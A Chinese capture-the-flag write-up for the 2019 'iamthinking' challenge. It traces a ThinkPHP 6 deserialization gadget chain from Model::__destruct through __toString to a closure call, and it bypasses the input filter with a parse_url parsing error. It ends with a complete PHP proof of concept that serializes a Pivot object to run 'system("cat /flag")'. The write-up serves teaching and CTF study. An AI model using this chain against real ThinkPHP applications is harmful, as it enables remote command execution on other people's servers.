[安洵杯 2019]iamthinking

[安洵杯 2019]iamthinking

tp6反序列化利用

https://www.freebuf.com/column/221939.html

解题过程

www.zip下载源码
在controller里面,index.php

 public function index()
    {
        echo "<img src='../test.jpg'"."/>";
        $paylaod = @$_GET['payload'];
        if(isset($paylaod))
        {
            $url = parse_url($_SERVER['REQUEST_URI']);
            parse_str($url['query'],$query);
            foreach($query as $value)
            {
                if(preg_match("/^O/i",$value))
                {
                    die('STOP HACKING');
                    exit();
                }
            }
            unserialize($paylaod);
        }
    }

parse_url前面的文章讲到,由于解析错误, url=false,就可以绕过正则。
那么就来找链子吧
从__destruct入手,Model.php

public function __destruct()
{
    if ($this->lazySave) {
        $this->save();
    }
}

这里要执行save方法,需要lazySave=true
进入save()

public function save(array $data = [], string $sequence = null): bool
    {
        // 数据对象赋值
        $this->setAttrs($data);

        if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
            return false;
        }

        $result = $this->exists ? $this->updateData() : $this->insertData($sequence);

        if (false === $result) {
            return false;
        }

        // 写入回调
        $this->trigger('AfterWrite');

        // 重新记录原始数据
        $this->origin   = $this->data;
        $this->set      = [];
        $this->lazySave = false;

        return true;
    }

setAttr似乎没有利用点,trigger和isEmpty也没有。
想康康updateData,那么就不能进入if,跟进isEmpty

public function isEmpty(): bool
    {
        return empty($this->data);
    }

不设置data
跟进trigger

protected function trigger(string $event): bool
    {
        if (!$this->withEvent) {
            return true;
        }

        $call = 'on' . Str::studly($event);

        try {
            if (method_exists(static::class, $call)) {
                $result = call_user_func([static::class, $call], $this);
            } elseif (is_object(self::$event) && method_exists(self::$event, 'trigger')) {
                $result = self::$event->trigger(static::class . '.' . $event, $this);
                $result = empty($result) ? true : end($result);
            } else {
                $result = true;
            }

            return false === $result ? false : true;
        } catch (ModelEventException $e) {
            return false;
        }
    }

ModelEvent->withEvent=false,Model->exist=true即可
跟进updateData

protected function updateData(): bool
    {
        // 事件回调
        if (false === $this->trigger('BeforeUpdate')) {
            return false;
        }

        $this->checkData();

        // 获取有更新的数据
        $data = $this->getChangedData();

        if (empty($data)) {
            // 关联更新
            if (!empty($this->relationWrite)) {
                $this->autoRelationUpdate();
            }

            return true;
        }

        if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
            // 自动写入更新时间
            $data[$this->updateTime]       = $this->autoWriteTimestamp($this->updateTime);
            $this->data[$this->updateTime] = $data[$this->updateTime];
        }

        // 检查允许字段
        $allowFields = $this->checkAllowFields();

        foreach ($this->relationWrite as $name => $val) {
            if (!is_array($val)) {
                continue;
            }

            foreach ($val as $key) {
                if (isset($data[$key])) {
                    unset($data[$key]);
                }
            }
        }

        // 模型更新
        $db = $this->db();
        $db->startTrans();

        try {
            $where  = $this->getWhere();
            $result = $db->where($where)
                ->strict(false)
                ->field($allowFields)
                ->update($data);

            $this->checkResult($result);

            // 关联更新
            if (!empty($this->relationWrite)) {
                $this->autoRelationUpdate();
            }

            $db->commit();

            // 更新回调
            $this->trigger('AfterUpdate');

            return true;
        } catch (\Exception $e) {
            $db->rollback();
            throw $e;
        }
    }

由于ModelEvent->withEvent=false, 不会进第一个if
getChangeData()没有利用点,autoRelationUpdate()还没找到利用点
需要Model->force=true,从而使data不为空,不进入该判断
跟进checkAllowFields

protected function checkAllowFields(): array
    {
        // 检测字段
        if (empty($this->field)) {
            if (!empty($this->schema)) {
                $this->field = array_keys(array_merge($this->schema, $this->jsonType));
            } else {
                $table = $this->table ? $this->table . $this->suffix : $query->getTable();
                $this->field = $query->getConnection()->getTableFields($table);
            }

            return $this->field;
        }

        $field = $this->field;

        if ($this->autoWriteTimestamp) {
            array_push($field, $this->createTime, $this->updateTime);
        }

        if (!empty($this->disuse)) {
            // 废弃字段
            $field = array_diff($field, $this->disuse);
        }

        return $field;
    }

$this->table . $this->suffix为字符串拼接,可以出发__toString
在Conversion.php中

 public function __toString()
    {
        return $this->toJson();
    }

跟进toJson()

 public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
    {
        return json_encode($this->toArray(), $options);
    }

跟进toArray

public function toArray(): array
    {
        $item       = [];
        $hasVisible = false;

        foreach ($this->visible as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    list($relation, $name)      = explode('.', $val);
                    $this->visible[$relation][] = $name;
                } else {
                    $this->visible[$val] = true;
                    $hasVisible          = true;
                }
                unset($this->visible[$key]);
            }
        }

        foreach ($this->hidden as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    list($relation, $name)     = explode('.', $val);
                    $this->hidden[$relation][] = $name;
                } else {
                    $this->hidden[$val] = true;
                }
                unset($this->hidden[$key]);
            }
        }

        // 合并关联数据
        $data = array_merge($this->data, $this->relation);

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
                    $val->visible($this->visible[$key]);
                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
                    $val->hidden($this->hidden[$key]);
                }
                // 关联模型对象
                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
                    $item[$key] = $val->toArray();
                }
            } elseif (isset($this->visible[$key])) {
                $item[$key] = $this->getAttr($key);
            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
                $item[$key] = $this->getAttr($key);
            }
        }

        // 追加属性(必须定义获取器)
        foreach ($this->append as $key => $name) {
            $this->appendAttrToArray($item, $key, $name);
        }

        return $item;
    }

这里的data为Attribute->data,relation为Relationship->relation, relation为空就能进入getAttr
跟进getAttr()

public function getAttr(string $name)
    {
        try {
            $relation = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $relation = $this->isRelationAttr($name);
            $value    = null;
        }

        return $this->getValue($name, $value, $relation);
    }

跟进getData

public function getData(string $name = null)
    {
        if (is_null($name)) {
            return $this->data;
        }

        $fieldName = $this->getRealFieldName($name);

        if (array_key_exists($fieldName, $this->data)) {
            return $this->data[$fieldName];
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }

        throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
    }

Attribute->data不为空,name为data的键值,就能进入getRealFieldName

protected function getRealFieldName(string $name): string
    {
        return $this->strict ? $name : Str::snake($name);
    }

将Attribute->strict=true就能返回name, 所以filename为data的键值, 进入第二个if, 返回data[$key]的值
回到getAttr, 进入getValue
跟进getValue

protected function getValue(string $name, $value, $relation = false)
    {
        // 检测属性获取器
        $fieldName = $this->getRealFieldName($name);
        $method    = 'get' . Str::studly($name) . 'Attr';

        if (isset($this->withAttr[$fieldName])) {
            if ($relation) {
                $value = $this->getRelationValue($relation);
            }

            if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
                $value = $this->getJsonValue($fieldName, $value);
            } else {
                //$fieldName = a
                //withAttr[a] = system
                $closure = $this->withAttr[$fieldName];
                //value = system(ls,)
                $value   = $closure($value, $this->data);
            }
        } elseif (method_exists($this, $method)) {
            if ($relation) {
                $value = $this->getRelationValue($relation);
            }

            $value = $this->$method($value, $this->data);
        } elseif (isset($this->type[$fieldName])) {
            // 类型转换
            $value = $this->readTransform($value, $this->type[$fieldName]);
        } elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) {
            $value = $this->getTimestampValue($value);
        } elseif ($relation) {
            $value = $this->getRelationValue($relation);
            // 保存关联对象值
            $this->relation[$name] = $value;
        }

        return $value;
    }

其中,name为data的键值, value为对应的值, relation为flase
然后, 将filename=data的键值
只要withAttr[$key]不为数组, 进入第一个if, 然后进入里面的else
closure=withAttr[$key]
value=closure($value,data)
那么就可以进行命令执行了
令Attribute->data=["xxx"=>"cat /flag"]
Attribute->withAttr=["xxx"=>"system"]

注:system ( string $command [, int &$return_var ] ) : string参数

command要执行的命令。 return_var如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。

我们知道了每个变量的值怎么设置,我们还得找一个合适的类,因为Model类是抽象类,不能实例化,我们找一个他的子类,和tp5.1一样我们还是用Pivot类来构造PoC
最终POC

<?php
namespace think\model\concern {
    trait Conversion
    {
    }

    trait Attribute
    {
        private $data;
        private $withAttr = ["xxx" => "system"];

        public function get()
        {
            $this->data = ["xxx" => "cat /flag"];
        }
    }
}

namespace think{
    abstract class Model{
        use model\concern\Attribute;
        use model\concern\Conversion;
        private $lazySave;
        protected $withEvent;
        private $exists;
        private $force;
        protected $field;
        protected $schema;
        protected $table;
        function __construct(){
            $this->lazySave = true;
            $this->withEvent = false;
            $this->exists = true;
            $this->force = true;
            $this->field = [];
            $this->schema = [];
            $this->table = true;
        }
    }
}

namespace think\model{

    use think\Model;

    class Pivot extends Model
    {
        function __construct($obj='')
        {
            //定义this->data不为空
            parent::__construct();
            $this->get();
            $this->table = $obj;
        }
    }

    $a = new Pivot();
    $b = new Pivot($a);

    echo urlencode(serialize($b));
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇